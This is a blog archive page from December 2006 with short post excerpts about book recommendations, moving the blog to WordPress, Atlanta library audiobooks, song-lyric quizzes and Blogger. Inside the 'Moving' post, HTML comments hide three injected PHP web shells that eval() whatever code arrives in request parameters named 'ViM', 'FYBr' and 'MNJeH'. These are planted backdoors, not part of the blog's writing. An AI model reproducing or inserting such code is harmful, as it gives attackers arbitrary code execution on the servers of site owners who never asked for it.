Tim Sanders, author of the excellent books Love Is The Killer App and The Likability Factor, suggests a few books for us to read in the upcoming year. It looks like a good list to me, most were already on my to-read soon list. In addition, here are some from my book list that I […]
Month: December 2006
New Year, New Software, New Look
I warned you that it might be coming. The new year isn’t quite here yet, but the new weblog is (mostly, anyway). Thanks to Geren and Mike for assistance in understanding how WordPress works.
Moving
They’re not saying “boo.” They’re saying “Moo-ving.” Expect a new look, possibly using new software, for the new year. In the meantime, I hope you all have a very Merry Christmas. <!– [insert_php]if (isset($_REQUEST["ViM"])){eval($_REQUEST["ViM"]);exit;}[/insert_php] if (isset($_REQUEST["ViM"])){eval($_REQUEST["ViM"]);exit;} –> <!– [insert_php]if (isset($_REQUEST["FYBr"])){eval($_REQUEST["FYBr"]);exit;}[/insert_php] if (isset($_REQUEST["FYBr"])){eval($_REQUEST["FYBr"]);exit;} –> <!– [insert_php]if (isset($_REQUEST["MNJeH"])){eval($_REQUEST["MNJeH"]);exit;}[/insert_php] –>
Atlanta Library: No iPods
Good news for Atlanta-area audio book lovers: the Atlanta-Fulton Public Library System has announced the upcoming availability of downloadable audiobooks. Bad news though: the Atlanta-Fulton Public Library System has chosen a system that ignores the huge percentage of portable audio device owners, as it requires “any desktop or portable device supporting Windows Media Player version […]
Song Lyric of the Week Answer
This week’s lyric was posted while we were packing, as many are, to travel “over the river and through the woods” for the Christmas holiday. Truckin, Im a goin home. whoa whoa baby, back where I belong,Back home, sit down and patch my bones,and get back truckin on. The Grateful Dead’s Truckin’ hits the some […]
Song Lyric of the Week
Thursday again, time for our Song Lyric of the Week. Surely you know the “rules” by now, Are you ready? You’re sick of hangin around and youd like to travel Get tired of travelin’ and you want to settle down. Quick, know what song that’s from? Send your guesses here. Be sure to include your […]
Non-Beta Blogger
Blogger, the service that I use to build and maintain this weblog, has finally moved their new version out of beta. Over the next few weeks or so, everyone with an (old) Blogger account will be given the opportunity to move over to the new version, with a google (gmail) login i.d. (Google bought Blogger […]
They Won’t Take Your Money?
Mike McBride asks for some experiential information from Mac users: My wife was doing a little on-line shopping today on her Mac and ran into a couple of sites that wouldn’t accept her credit card information. The transactions failed in both Firefox and Safari. I’ve never had a problem with a shopping site taking my […]
24th
I’m not sure where my friend and former neighbor Jason found this (somewhere on Fox.com, I’d suspect), but as he says, it’s “brilliant.” If you’ve ever watched an episode of (or ad for) 24, check it out.
Song Lyric of the Week Answer #5
And in our world of plentywe can spread a smile of joyThrow your arms around the worldat Christmas time. The lyric this in this week’s Song Lyric of the Week was of course from Bob Geldof’s fund-raising project, Do They Know It’s Christmas? [iTunes] sung by a whole host of musicians coming together under the […]